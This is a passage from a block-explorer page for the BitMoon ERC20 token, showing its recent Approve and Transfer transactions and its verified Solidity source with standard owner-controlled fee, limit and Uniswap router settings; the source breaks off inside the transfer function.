Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 38 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer From | 16341432 | 603 days ago | IN | 0 ETH | 0.0018883 | ||||
Approve | 16341402 | 603 days ago | IN | 0 ETH | 0.00119669 | ||||
Transfer From | 16341364 | 603 days ago | IN | 0 ETH | 0.00153471 | ||||
Approve | 16341345 | 603 days ago | IN | 0 ETH | 0.00090916 | ||||
Transfer From | 16341335 | 603 days ago | IN | 0 ETH | 0.00139036 | ||||
Transfer From | 16341331 | 603 days ago | IN | 0 ETH | 0.00267047 | ||||
Approve | 16341321 | 603 days ago | IN | 0 ETH | 0.00101744 | ||||
Approve | 16341315 | 603 days ago | IN | 0 ETH | 0.00119218 | ||||
Approve | 16341313 | 603 days ago | IN | 0 ETH | 0.00117555 | ||||
Transfer | 16341296 | 603 days ago | IN | 0 ETH | 0.00199312 | ||||
Approve | 16341239 | 603 days ago | IN | 0 ETH | 0.00108674 | ||||
Approve | 16341238 | 603 days ago | IN | 0 ETH | 0.00107041 | ||||
Approve | 16341231 | 603 days ago | IN | 0 ETH | 0.0011518 | ||||
Approve | 16341230 | 603 days ago | IN | 0 ETH | 0.00114704 | ||||
Approve | 16341227 | 603 days ago | IN | 0 ETH | 0.00098773 | ||||
Approve | 16341224 | 603 days ago | IN | 0 ETH | 0.00116658 | ||||
Approve | 16341219 | 603 days ago | IN | 0 ETH | 0.00110471 | ||||
Approve | 16341213 | 603 days ago | IN | 0 ETH | 0.00101952 | ||||
Approve | 16341197 | 603 days ago | IN | 0 ETH | 0.00100447 | ||||
Approve | 16341195 | 603 days ago | IN | 0 ETH | 0.00092166 | ||||
Approve | 16341194 | 603 days ago | IN | 0 ETH | 0.00092015 | ||||
Approve | 16341189 | 603 days ago | IN | 0 ETH | 0.00104758 | ||||
Approve | 16341186 | 603 days ago | IN | 0 ETH | 0.00102455 | ||||
Approve | 16341184 | 603 days ago | IN | 0 ETH | 0.00096806 | ||||
Approve | 16341178 | 603 days ago | IN | 0 ETH | 0.00102951 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
BitMoon
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-05 */ /** Zero tax, No limit No TG i suggest to name it @bitmoonerc20 Community Launch I will add 0.1 ETH lp and burn the liq After that i will renounce the contract. BitMoon is in hands of the community */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Safe Math Helpers // -------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: cannot send to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // Uniswap Router // -------------------------------------------------------------- interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function allPairsLength() external view returns (uint256); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract BitMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "BitMoon"; string private _symbol = "BMOON"; uint8 private _decimals = 18; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 169_000_000 * 1e18; uint256 private minimumTokensBeforeSwap = _totalSupply * 25 / 100000; address payable public liquidityWallet = payable(0x6B3404C86809e9E7c59550dd2A2925e062A0a90B); address payable public operationsWallet = payable(0x6B3404C86809e9E7c59550dd2A2925e062A0a90B); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public liquidityFeeBuy = 0; uint256 public operationsFeeBuy = 0; uint256 public totalFeesBuy; uint256 public maxTotalFeeBuy = 10; uint256 public liquidityFeeSell = 0; uint256 public operationsFeeSell = 0; uint256 public totalFeesSell; uint256 public maxTotalFeeSell = 10; uint256 public _liquiditySharePercentage = 0; uint256 public _operationsSharePercentage = 100; uint256 public _totalDistributionShares; uint256 public _maxTxAmount = type(uint256).max; uint256 public _walletMax = type(uint256).max; bool public checkWalletLimit = false; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) isTxLimitExempt; // Router Information mapping (address => bool) public isMarketPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; // toggle swap back (fees) bool inSwapAndLiquify; uint256 public tokensForLiquidity; uint256 public tokensForOperations; // Launch Settings bool public tradingOpen = false; // events event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet); event OperationsWalletUpdated(address indexed newOperationsWallet, address indexed oldOperationsWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); event SwapTokensForETH(uint256 amountIn, address[] path); // toogle to stop swap if already underway modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { // load total fees totalFeesBuy = operationsFeeBuy + liquidityFeeBuy; totalFeesSell = operationsFeeSell + liquidityFeeSell; // load total distribution _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage; // create router ------------------------------ IUniswapV2Router02 _uniswapV2Router; if (block.chainid == 1) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else if (block.chainid == 5) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } else revert(); isTxLimitExempt[address(_uniswapV2Router)] = true; isWalletLimitExempt[address(_uniswapV2Router)] = true; isExcludedFromFee[address(_uniswapV2Router)] = true; // Create a uniswap pair for this new token uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; isMarketPair[address(uniswapPair)] = true; // set allowances _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; // exclude from paying fees or having max transaction amount isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[address(0xdead)] = true; isExcludedFromFee[liquidityWallet] = true; isExcludedFromFee[operationsWallet] = true; // exclude contracts from max wallet size isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[liquidityWallet] = true; isWalletLimitExempt[operationsWallet] = true; // exclude contracts from max tx size isTxLimitExempt[owner()] = true; isTxLimitExempt[address(uniswapPair)] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[liquidityWallet] = true; isTxLimitExempt[operationsWallet] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } receive() external payable { } // @dev Public read functions start ------------------------------------- function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } // custom allowance methods function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } // get minimum tokens before swap function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } // approve spending methods function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function getBlock()public view returns (uint256) { return block.number; } // @dev Owner functions start ------------------------------------- // toogle market pair status function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } // set excluded xx limit function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } // update max tx amount function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } // set excluded tax function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } // update fees function updateFees(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner { _updateFeesBuy(_operationsFee, _liquidityFee); require(totalFeesBuy <= maxTotalFeeBuy, "Must keep fees at maxTotalFeeBuy or less"); } function updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee) external onlyOwner { _updateFeesSell(_operationsFee, _liquidityFee); require(totalFeesSell <= maxTotalFeeSell, "Must keep fees at maxTotalFeeSell or less"); } function _updateFeesBuy(uint256 _operationsFee, uint256 _liquidityFee) private { operationsFeeBuy = _operationsFee; liquidityFeeBuy = _liquidityFee; totalFeesBuy = operationsFeeBuy + liquidityFeeBuy; } function _updateFeesSell(uint256 _operationsFee, uint256 _liquidityFee) private { operationsFeeSell = _operationsFee; liquidityFeeSell = _liquidityFee; totalFeesSell = operationsFeeSell + liquidityFeeSell; } // set distribution settings function setDistributionSettings(uint256 newLiquidityShare, uint256 newOperationsShare) external onlyOwner() { _liquiditySharePercentage = newLiquidityShare; _operationsSharePercentage = newOperationsShare; _totalDistributionShares = _liquiditySharePercentage + _operationsSharePercentage; require(_totalDistributionShares == 100, "Distribution needs to total to 100"); } // remove wallet limit function enableDisableWalletLimit(bool newValue) external onlyOwner { checkWalletLimit = newValue; } // set excluded wallet limit function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner { isWalletLimitExempt[holder] = exempt; } // update wallet limit function setWalletLimit(uint256 newLimit) external onlyOwner { _walletMax = newLimit; } // change the minimum amount of tokens to sell from fees function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } // sets the wallet that receives LP tokens to lock function updateLiquidityWallet(address newAddress) external onlyOwner { require(newAddress != address(0), "Cannot set to address 0"); isExcludedFromFee[newAddress] = true; isExcludedFromFee[liquidityWallet] = false; emit LiquidityWalletUpdated(newAddress, liquidityWallet); liquidityWallet = payable(newAddress); } // updates the operations wallet (marketing, charity, etc.) function updateOperationsWallet(address newAddress) external onlyOwner { require(newAddress != address(0), "Cannot set to address 0"); isExcludedFromFee[newAddress] = true; isExcludedFromFee[operationsWallet] = false; emit OperationsWalletUpdated(newAddress, operationsWallet); operationsWallet = payable(newAddress); } // transfer amount to address function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } // change router address function changeRouterAddress(address newRouterAddress) public onlyOwner returns(address newPairAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); // check if new pair deployed if(newPairAddress == address(0)) { newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPairAddress; uniswapV2Router = _uniswapV2Router; isWalletLimitExempt[address(uniswapPair)] = true; isMarketPair[address(uniswapPair)] = true; } // once enabled, can never be turned off function setTrading() public onlyOwner { tradingOpen = true; } // @dev Views start here ------------------------------------ // @dev User Callable Functions start here! --------------------------------------------- function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); // check trading open if (!tradingOpen) { require(sender == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { // required for wallet distribution if (sender != owner() && recipient != owner()){ _checkTxLimit(sender, 